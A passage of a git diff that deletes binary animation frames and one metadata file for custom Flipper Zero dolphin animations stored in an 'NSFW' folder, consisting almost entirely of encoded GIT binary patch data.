ztCjxWcoP55Odc?NgsZ`WfNG87`N&iMTp)PE<`54Q9!XWw{;s$T{=?D_82<-Vz=Ma& z_xa&h^G zA1nCuXkWqL;wAshZr}I!4~PJvABg_IUO)Tjype_f=hVMb`3|5CG`ip4=4?NH6XAcP zKtSX6wSRu#^W(}szxoGI4mIAt+t>L63xIN7gOHX7|NGs2{{OHr{CiZTkkNTSf!ACA zzHs?@d@$mu`1k;Uz3oHdJ}ON!SamH>2z$N%usrg0D9Jp3_y;L{MdA-BExNQHE~p55 zb^pJ-9$1UiTrfBzSh|8*+w{Jeqm z{{Mf$@z2;Wo3B8;vS1;*>;2*JhxIDG{|LOaZ-Z?Q{$Ig^`uRcf!;8!J{s)dPDXaf^ z8HH0vmi+uxeH0J>(O-ys+hh9(47Vv)52s9efC0_Ov3Ktfe2wN&IISj6xa4$8>=7w^ zl8*)Hc*E!bB@pKFQF@1`l0QJ{cf;dI(?YynQ2T?%pM{6$e*^ab6uzOZf_-?Papi~G z9}17uzXtN*kIWn)@u=72pV0Yw#qCdmPw_v&`EWt)AJpICKmH&bdZ6~N(7*a$_ec&b PA^;@+QUoqQ2!5a;M>qSu diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_5.bm deleted file mode 100644 index 0e3bf9a4e81371ac9e1f9f93ef882d21cfa18546..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 959 zcmV;w13>%%0J{T#P$%%O2Y>zm7&t7az#*hUZ`E&TJmvJ9l#_oFfIzet>-TINU-LsalU=v7*e_w)GoYNSs4emKT(sLlQrZ0}T-H;oucnNPK=3e5ib)G1(Ui4?v|=e}7%YK1CG=j1PH; z@Im03ny`FyTK=Ux9x!@@hm{AA^|fEGo})kVhl9pXz{PMW@C~Ruey|Gv)2)?fl_5Y%HA@K-b_y525 z{eJi`cz^~`>aX!6;$imIzy5IffBEz;4FB;*510IYJTQ5C;-0Jf2t(ub)qj5eFmV3( zbgqaLb^n0)-~Rsad3^nGg^-8G^Z)+(|NU@zc=#HwpcHH3@we~C;twicRypB$5PZL7 zp%D-MN64pgf#g3gfBWzA1dbO)nCJ`3>R27`zn}L6jZXiV<01XRbs_WLy@vbu z|9k)U`6QBsHR6NCLLoB$_y76&7DiEV50w0VN|6tZK2b`+T7&AIAKtw#I9P>7(b5%@ z*jgelD!ihrkojl>AyE^wZ@a)z29`#pn+h zxO{ycu9&=m=ieumQjN9p@Wt~7kwv|ptysRXI&IesK3o6rJir4-l0&^eaQTDGJSp+W h)xVx%d4t4$SO5I3m5$YV@Zt6cl00Sqj~KkG;PLZ^1djj! diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_6.bm deleted file mode 100644 index 83257bdaba72c54ea60fd99077814c7a71093d59..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 946 zcmV;j15Nw^0ImaoP$$sr2mAn6@L5lQL!^mcjq?Ejl1Q)8?NEH;@E}m%VK9nECjD0EgU%0- zz(OyQ2n-7a{{C;T;PR)3#({i+P&FEh_qx^(IQ=343H|`bBp)u>Jm>HlP6P0S878Lv zzSRH71wRdpOZg;#P_kdo=B-|k9FTlX$!d2heh`2+$*;E}+pm7w_kXZQK=JYf__2g?Tl(&WF_ zpT_?EO(%>B0SNF!;u@`2_xt!SjFbF-5%~BZ_$pOb^gkcJ?x-Ic9TF?#fxs%dU)R*0 zK0Qf%VDb$Y0}mk8N{{3C`{d<7@sDC594I^^Qa>NsfMIl!5Wpfj9t55NR;vE~KTiIZ zP)`^Hk`>B_z_z;I*X$lLsu4V7IE@EF4*)lh>*w)@=w$;jgvp^;Dt?07tN(ubmH4(S zUNAf+gQ*YXb!y+go@YNwmxsm=y=e?T>s_|~|9KtulAd1}f3n?GkN@p;zwgfzKJ>@` z(D>xzp#dt6+pGHf!f&2X`0M8o2mvgA_T7Kq*8#rrGvncyKwvOXc=qpK(0KnmSpWS_ z#Q>01ilcVb{l4-$_9s{W#QGu-jDPF@-S+={@SoAfQPy-9>4#^Bg$&&0rdWeM?dGk z#W0kKmJ}XFk^l&RXY?6P2Gt-17pxwA|2@7bLX~-`K%(J`$R0oWeugQL@<4~^04)13 z=$x%cD7s+t01TcZNrZYJqW2GvzDX34@oHlB@9+Qme4gk&Ffn`A!{bYgNO-k#dl>h($ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_13/frame_7.bm deleted file mode 100644 index 88a5ba3390246abef1c6a7c6d1802540e28db6ea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 947 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 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_1.bm deleted file mode 100644 index 069a8b3e2b0ed5ad34b7b80ce03fc40b51ef1eb9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 418 zcmV;T0bTw90G%bo{f3(B_8~}NPq#y7M1l%4sfPKZm=0K>JFlP`5C_ZCg@t8m$ z!svh_$Q~#G|AW>*4>*JZA@KjS*1-^Eh&-X6&-j60mwu z#2$m;_>dG%FR=%gk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_2.bm deleted file mode 100644 index 90a0f1e9ca6d79135ebbf09b35412a2ec3b355ca..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 434 zcmV;j0Zsk^0ImUnfesyjhx|Msa<~KB1V0Y|9KQheh5*XI125zR9#9}S#{upB2bhGS z0Q$fTPyjLj8GpfJBj5wr09X(Be1Y}A|HHxK;1Ac_9x*=z9XUVv_&*?jz<9v^0x*1C{)IfC1xxhwwKs z0RfZD0w2!+5N(0@0gvngAK4ti;sropfXm`9K=J?+@&q_oK0pZv2k^dt2R{$4{9h&Y z07MKQ=~Mtr1zdm$X9za;?ecFKzCq*s2itgHAAm6k;2ug0hl9ldfbu|3&0Ik7Ku?`K zK=D9N9Xvq$!>5b*kr!P5uj9hNmnZQ*J{CM5J_!17v**eXh#0T`|F}J4%*BtQ3?9sb c2fh3rU;X(2|6ui=D$0HdKgd1VVk{7Q0EMl@DgXcg diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_3.bm deleted file mode 100644 index 7ba7b3416015d7edd4639fefbd3316ba1ffe3593..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 414 zcmV;P0b%|D0Ga`TfXl%E;6U#X2z&zpKL@V>1TbhsG7bkD_&lH@b--Z31K|IM)EZDf z09?Nx@F3v9>ks$=OW+S6`oJTTfOdt|M)?| z01$kC|K2cqU?i{pg+Op zqF{fY2)HQ`;9tS?u^@a4$v99R1pFS+bJ{?`@EKk%G`+K$Uh I|H3{GFm+wQa{vGU diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_4.bm deleted file mode 100644 index 3f361d82692d9fa6b6844c5e478823d01270aa7c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 446 zcmV;v0YUx&0J;Hzz<^`mfczkThz#H!pfb=va1eRq03J~AdjSRs41-=E7zp@1co01V z1IYup0mgn0G5~|efd}|NLFIo3m;`VDA&>q9<>3E-#)b?a0mlaC|A2=?9>4?W1Ik7` z5PW<-h7-#2BbO zWRMT^KmQZ_1LF`6IJi8cK=q_RKbZgfAV=d2S2PFk4>Nedf$Ly`emVd7_&j_JQ8z3P z;pYdFK3WC;zk~Dl|Ns64tiVtJ`~m&>2dBUvAF;}V+RX0DM8s#1Aj!{2u>;aQp-#_y@pnzeExEPuFe^ o6ljQt01u+zgU3J*ad|IALOuxiK2d}Z$7w)*0Qz1O5Ah#q7GjMv|0K-2gh#;cj_W&RuZ{YIq0fe?7 z1c5+4!a)a#kU{MRfPbJo7!SZ75I}i&LE>~6Kt3RUAbkOc{KOa!;Rqo100=!N?#Ty_ z{m>^u06+X6_;85+Kj8Y~|KZ^Jz<>Pz`1pT5|M~yGevpS?hs*#s|AD<7!VhowJ$?ZA z_@~4GR{(sk#2=n8e|g{H56^f#+@cT41PTHVMu>yXU;-WRKX4zw|1rma50C+Wf%6N1 zQUHTE2eEvikPG01`~ddAFoYkF1(4o>_uvPO+30}u1`hxvCcy{R0s;?Tz�q024@q z=6*>*5P%2x4@>xE0s09QssDlKIy5Q)Nr29RGKdt+3|J#6Gn4>O5-OvV0OL_FC;{W* z=m2;Fz#ahb0(?RJ!w2*nAJF#WBcVDw@O{tPVh?-x5k4Lm_&ufKp*EMp;tz`id{{sG Q5AYuFchI_uhx~_w4ALsPl>h($ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_6.bm deleted file mode 100644 index c9115c22f956163d71bb93850972e694d4c82891..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 358 zcmV-s0h#^*0Ac}wfXl%E;6eTv7+5~A5&y&hA7GY<0ER{n;3&XB^DqLI03J2~d)xp+ z6W{~JfDdw@gX#niAXvcs0dWVY0KNeGf&hoG3m9L(KVQIkejw|~{sP1w;QaqX!Q=b^ zh(Ev){|B6WACT~UU;+LQN%%hp;t#Xfz`^uS5P6sFejxvgr|=#z|A0R*0P%0!55N!D z55hhZ5q&^^6YzS-0qy+1gVum=SP%RD58wa)@c{&%fF7(7|NcSg@CUB|9wIRZz;t{7 z_xuCb;1BP>ID6pq`T-1jKfrk3&FTCH9|!(^5CDVGG9dEtgGe64Q}BGj@JSFU8w>zW z^CXBAf%FOxDIW|Tk>F87&}0u#NXNlM0}%Ve@Bp#;f9K%%kMIHG_DcyqC;R~j|3JbI zi}*Zz3vxgRJ-guX`~%3SUvAK;jOr~-cA{{4siAH)9#|HL2Q EGSQc+v;Y7A diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/frame_7.bm deleted file mode 100644 index 8d3ca27346be56836ccd951cfd6e85806f53fbcf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 368 zcmV-$0gwIx0Biw~fXm?kz(eL90D8c|=l~#p+yG@D0Srtu^#B=A1M6T1m@I<_3kSU* z9^3%ZffL~Y2Z&68=p-`1K*D4XKmq&-q7N_xbRgjI{1{9C--viUFaY|4{{&(HkK}wG z;PL+h>-`r8@BBVwF$eeo@Bs7yh(E>m0|AgeS7Hy(^duk9xA>3j9*6o}lrQ8D*cdEHMYy@E_mn_&s6(^}zrC|G-L2 z0qejAk8~1|0V;kx0P+8W(l8HC=fEEE!>WHj0RIQPd8(h!;63B;@G1X+#s4Ip0)7wP z1pYn`!#K~u<_1P_Brg_U|h0*Ar@2o@!2gUb8}LxCeq05S2{(qzP023g@XaJ+?fG^$; O@PB#1Q=bR;5Z2}yuc~7J diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/meta.txt deleted file mode 100644 index c32dadf26..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_14/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_0.bm deleted file mode 100644 index a72140c0117295133e3a2850f4e3e6e5309b87d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 526 zcmV+p0`dI;015*CfDRu91P}6m;DEqCz~l#rWjEmcz(>L24qyBXbdkso03N}C035;t zzz4BuY!E*O>>QKudhj5B56C|tUyr~&BjEMGKxdze_&%Tzc>m%Ket-dCq5p^&KK+m| z{{J99hPf%Yo+`-~-{FAo7A>0p@~B;5@JJJ_HmLP+)o90p-7d_yK1Q2cO^`RQLtK zesl17`~l@RfNTNfz>kB|@?IzhU>_b2%REVg?2oI*!1GT5bbs(T2iP8A^=1$(e|Pc8 z1Kh4(zc`F;0QQf9hXMWLjfOx!V6kvNurnyY*k}(Bv3v?do)vln(IzD!fJ__c8WAyn z0q0>022dv;8jo|f2dDqWetUv! Qf#lf|Vhe}CJ#ZL3KoB73-2eap diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_1.bm deleted file mode 100644 index d2ba85300d3d1d9a15b50cad3191ce67824a841f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 555 zcmV+`0@VEh04DL24qyBXbdkso03N}C035;t zzz4BuY!E*O>>QKudhj5B56C|tUyr~&BjEMGKxdze_&%Tzc>m%Ket-dCq5p^&KK+m| z{{J99hW~;nJoo>Q``{vA^RM^; z?*NN~&TbExa6IFD0DLpV9#BjGJkUve2bKN@z=DE`3=ccNJh$*404(9a^ZWzKp8&Wo z&VCO+fIOz~4S+nj5%79`OT_@}1LMK@XNfR#}0+B0(A1N^@3<6-^K+v{}_zyb- zAReNkQ3xck5RiM|0qFpRx6}XSFA1IGdK?bA3(A5!2BPudY6b?CQ*U>KO_100fq(m`~%lcSr`B)pfm5q{2rWB@$A(jGsCW7NJU{UR2Oa$!L*eJ={qQjQ-^IoFpZ_{!0sKSN$b29m{yuZ_0MEhd zxFC4_@9;wUgUH$?vHAbuhxL!EP7nC^|KT9`Hw?eg@43Xm>G=nd0Ac-(eg0q%JO6+l zmH)szWdQS^_#4I+A7{eN8_UFJq(EkTN@-Yy2zs3Uq{o~GrfG&OX9y|Bhe&GM(AcM<~aR-ci zTsRNx9fCme|C`11eh=tORtgU$(JF)<%JK)As7gW)Pxw5d>Y@jtXzk*p|9`>64^beO zhz=n4zJtfg2qWNw(!PZdc>hbp4?!^|#2!E3IRn@XGtY(mm>>aJ5IoOAI0uM0f$IP| zl*91e5Ps*u#lK;Y0KdQ?xPQCg^5KKm__;6VJX&AI82}3S4?lZUnq~kiz&wqo_XnJS zcutc5D}3M<0DKeF#9;M#lpr5t@`4CxH5&i-*BI2POa z4|(`Fa32Zu2Y?Q5e0~K0;C%itKL_j{zIc4%0oe2Z;C~OuJ$zx2pZ`7J@%(-P>jNH- z|NHEp!{^_N_&pD${`dL{qaXZ1!RT!-=l}4G7=Pjh4{=EJ2IL=9X@ke%^ZkKF9uJTI zgT@aj_&v?T;Pd=Mq^)9kd_MniDFfgAkGT8};t#I)K0hGy3J=F*4_p6&KJ6q}_UHTY z`cM22@Obbi_uz=n(c%v%{{k)#5g4mR91mDN0yYmHgg^bb|6c*=1K>wf#RtF7|DWP| zKztG8aW)70$JhhSST_Rs1w;}(`6LJWj6HxnO~U~9|M6i%FAM{)5+4NoB0s)$~q>fkYlZ|G)GeJN8+A;Q!z#gUWyT z2aJ4NI1lU};6xC4{{iH>FX&8M1`kHjd)-$Q-hy5rdyYgNBq9f?sQ(^2`7li64^t@o0pboI zdw-K9?{5e{KKbx*Z`fo2B;b$7?qU!C@WJbR2cJD^Y%%~9;gWvvc;nh;04snzzyzfb zc}M_A4ln_?%*24@C#XJNWe5k@{GfpQXOsvZVgeZuKBM>p3Y*?Pzz6LAz;94{$bJC) aM~f_g1%L;!a6$Nf8-(y5Q}J;4C!qPdHzZmB diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_12.bm deleted file mode 100644 index 4ce276885b15b6d4166cfd58c74ea1a734a558ae..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 563 zcmV-30?hpZ051anfDZox1P%lL>43mLz~ukW!Q}wo|Da&^|AIsSKaM;wTA%_HhyZ`v z`1s60_5I(JLwZAN~8A{vqJ{|K8{SiTFOZ_d5A~LFI8F5-1N4*#pQFJ%XWw$M^rwgTJ`1I9is90&A-CiLI`KmWr)coWDEDgXEX{)d7L9(({W$KC_{ z2aw=d$H4f9#9mQwNP$Eio^x>jfFdd&D36bT4j+I$AEFOHF#Xa4fB$(y1mO^RL%}8f z{+Eaz&@d3MNBk}zdjP}|A^~lZ$bsY)AYh0D9`FEqH-sMmQU{KF99#Ao01A8$HHd%* zh7YcIw3uc9DZ~Q64*8kR7L<-nL+{fKPVtR z)g=N4*noya52*eC!hreU1NML5H|PFC@CV{NZwdS^2tNssAH*CU zaPfKr$KDSZ7(PA_|M#vIA5?ODAph^&|M3q;KsbkJ^#u4+#YfM0{uK3@OZ_+ z=Lf(8)1lbs-{au(frr-N|Hq1i9&jH7_}-u1F2PS>^hj5rY zc;XTKN5unx{=xsy^7;qI_?j;V^d=_spM%ISfb-x1hCkm2q6|^T!1#y9{0|toB!7VQ z^N++HKjBdUM0|VzaQs2(fIb)iK*jn;kNe6PCh`NuJ_#@P^t?d!fq;d2KjAq8*ajex z5DP4ogbyI80|Y=I_kaV@ydd}jkUVqX;@_~y08`+3tV94jFnZ4c=g$_C48R3AfLHJ70f2vj$^V~*Q~d)6ygVL%kNh-RpaFw}%r-Icn1B>e zB$S`<0qjT+dHv`957<3TEq?fZLCJq7ClCL>@D#+|AILuX-V_`7K0guv_WlF-gM;j@ zKZqDT3+M2M|G#iB`k&L`2M>(@@ec>r|Mm|V_&&G)y7_%U>xYk|1pc7(=wbQb_%EkF z-}}FV)ARQ~pTpiC82CKz{tGxf^d0{1?pzNysKLSK;Q#z5=J5xVe}NANp98<#{|nL& zfCr~TzmNWd(g(nflhgl?C#(m-J_oNe_&+=R0>A&`OpaaYLULbowz(Tzr@SK6{0}x1v z1?o#82ar^Of*=rkzyau@AbWvG9y#!FZ`fo2Deye|;PT;v)_4y-c(j;i04c-*zz-jI zJaOoO2c*GdU;_Jt&Oi^40XNO0padtYNdO4*C_p~P_L^&h|(P#-)1 ie$V^{{Qt;)0Q^Ud;XjZ$06!1IaD9+IC*tAoPeJlnvJQO! diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_15.bm deleted file mode 100644 index 44afd5239aac9f8b36bff6ec6ba40ecc2c4bb882..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 553 zcmV+^0@nQj03`zdfDfJsEC>J70f2vj$^V~*Q~d)6ygVL%kNh-RpaFw}%r-Icn1B>e zB$S`<0qx-jr`~_y{e#!wA6xgs@(xS?z+hjFAOC;gDTqBk1p@v-_t)^C-_OVoKg56i zzkq@S9)Yn3r~Do;FnPzr=kSOBzi=@6gT$U+2snI40}odx!IB{IBpm&H0P)}c>*e(a zt{*;-6Z(VGp@--Hf%ov|^V0+lKgd0O;PEsHwEO_{(0Bj8`EWemq7P38fB8Q*iZsFN zzz2xEVE71GeLML7=sh5O2Py*5eWSM zVX_C5egW7a2t5Bl^Jk160qpOb58xjj*gV5y_UDic9zpVdi0pr6frG>g<@X2=<9<#M zc)`+y4=*@`e-ZI;;6Jc+NP&bNJMggo3!=Cm><{2TAb5_%9wm|l3Ap$G@)HO=&|;20 z2gDwca7ckf9-eV%|9~PYASl0(oFfqjo&X9U_5bb>UTJQ4l@Aqz@eUIJfLF02KHheeij3!RtH+pFCPj zGXNCg0bmD@ydF68K!eg?qA&q{!RH_c$N-z>!cYPe)kI(gd6Xa@WAcIn?NU%6eTWET rK>Cm13@8tt06%B`1Ac$xKLCCs#_*rW9DpB(;kZ7?9~1F#_$Q$GmthB6 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_16.bm deleted file mode 100644 index 1038d4d99dc6478ec6d7be5b2f82303cba025890..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 553 zcmV+^0@nQj03`zdfDaxBEC>J70f2vj$^VyzQ~d)6ygVL%kNh-RpaFw}%r-Icn1B>e zB$S`<0qjT+dHv`957<3n0rkIpKOp44!->bk|L^<-F#sI?{tqwYAAANM#rz*1i2wV4 z0sKM1=N|{LTz?QSdFTJ&^7upl-?$ikapCj$LBr!e{6oR?NH4_we3S5cZ~t}j`orVE z^TUyb{C`$*bTIt?@IL+={(7K6>G=n*ydE*|dEfj1^w4+zzxi-H-lGo(pM$^rpPR*6 zVD;bw#9pv`1T4Ot{D1TwkUj)-o{C`)tOvn92d^-IAo5*}fqY=`|9_XF4<*>_1VTSQ z*ldC2AAoiULJvRCJlW!mA7D&{0*Z#CAWUK)i&$UvMz~H{{`f ze&Far2bY{eKZy7sa39z|_+TLN--UbV4q diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_17.bm deleted file mode 100644 index 7f599fe2ee69e190fcf7626ac708e37f5722ff28..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 544 zcmV+*0^j`s02~7UfDfJsEC>J70f2vj$^V~*Q~d)6ygVL%kNh-RpaFw}%r-Icn1B>e zB$S`<0qjT+dHv`957<3TEq?fZLCJq7ClCL>@D#+|9>_lUEylcmKb+a6I0l4+o!v|Nft!#2!)bdhk2{z)*wE z4}gz@&!OL!|3T>k;738{@ZXoj9*`dd_#U7CXYpPo;(%BHLJv=}^g-nO9fCbNAE4O- z$e2Badj3J?&lo%d*b^vVynlcG*gV5y_GAcDf#e@2_>RZ)4OX)mpgwp2 i{h#;^`Tvmo0r-y_!haxg0Dd2a;Oh{4&&9*wo`d8M3<~%F diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_18.bm deleted file mode 100644 index 6a00c6a380c3ef59417ca3034b0fc0c75ee36621..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 537 zcmV+!0_Obz02KoNfDa!51P%lL=>m`V9H0AmWk1j`d&j}&`2WL2ssI=`Ji}uj8HfQz z0!c~#03O8R2bbP|;QfP={%LFX!}1SF`8ha${r`ZbAo%t{_rh`fU(M4W|8L+wh&Vjq z;PdnY#I8Sx7(PA_|M%_&A5nUIAmQbl7A4m!Q zx)^?c{=5&bhddrNaC&}0>+k3Pqu}$u_yOsl@Be>t@OiyN9-a>W@cu~C;3Lz34>vFP2cG;MKg7{+KcO*4pzJ~77(jXO0p;#ECBKMgU23-5PD1$ zMgT9kJmdiR026%JN&rH7sEh!wGK2%{eo#Pts!9Y8u>lN-A5r`Pg#q)x2kigAZ_oUP b;19%j-V^x)kOT1iHwRdQ=6)_81oR&ua>os$ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_19.bm deleted file mode 100644 index 26190e1102bf1382114e196748c09e36a7abab04..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 541 zcmV+&0^m`V9H064Wnf_Uhl9`X1|V|(;NbHOjC^Jw1s@Q+ z=llSB7FX{-@P5JSND%s8{vVKh{y1Q9@D#+K9>_lW{uCSdIQ!@G{71|K0sKM1{R0P| zJRW}tfBW|f52!t0;qjaPA>i}l$HC~3FU0Ф-M#y|V7m(_fq3^;6W=k*7-KmUFQ z-#?x&AaVXd>+cVVJVC{O@B`C9|Nj2v;PZNjJv<-t_=nOy4{rbP6d?11;19+>9{xY( z4@e&ZIuA|$Kkg4m4}$y;PyaLKKRf&a;r|D#d_m^h9e~I|<;T9fUlhQD z#hxa?_5}w9VjqX^|Jw(ctbX415&S=*^Kpy@0s34B6p7>a0}tbVP8bL74rCyCdBNo$ z7Y+ma2mTZY9y{=Of)9cHHyAvJVh0C^Nd9%wNp2t1F&KX4E7E(s7QgV35^ z;0TI{3M1p-fBXLsdSC+L4`2W2>_6`)AdiFq5U|7O0P_Bqh#t@|5U)r4E+BgV#1bL_ z2ML@(=oKJfhy)(+0D35h9^g_3j(i+j_89;Qd=EbOJh))`=Zi^(U;>;#ECBKMgU23- z5PD1$MgT9kJmdiR026%JN&rH7sEh!wGK2%{eo#Pts!9Y8u>lN-A5r`Pg#q)x2kigA fZ_oUP;19%j-V^x)kOT1iHwRdQ=6)_81oR&us$lxL diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_2.bm deleted file mode 100644 index ea3caf5cdf3c61901f0e615b1a09716f61cff677..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 550 zcmV+>0@?im03rhafDRu51P}6m;DEqCz~l#rWjEmcz(>L24qyBXbdkso03N}C035;t 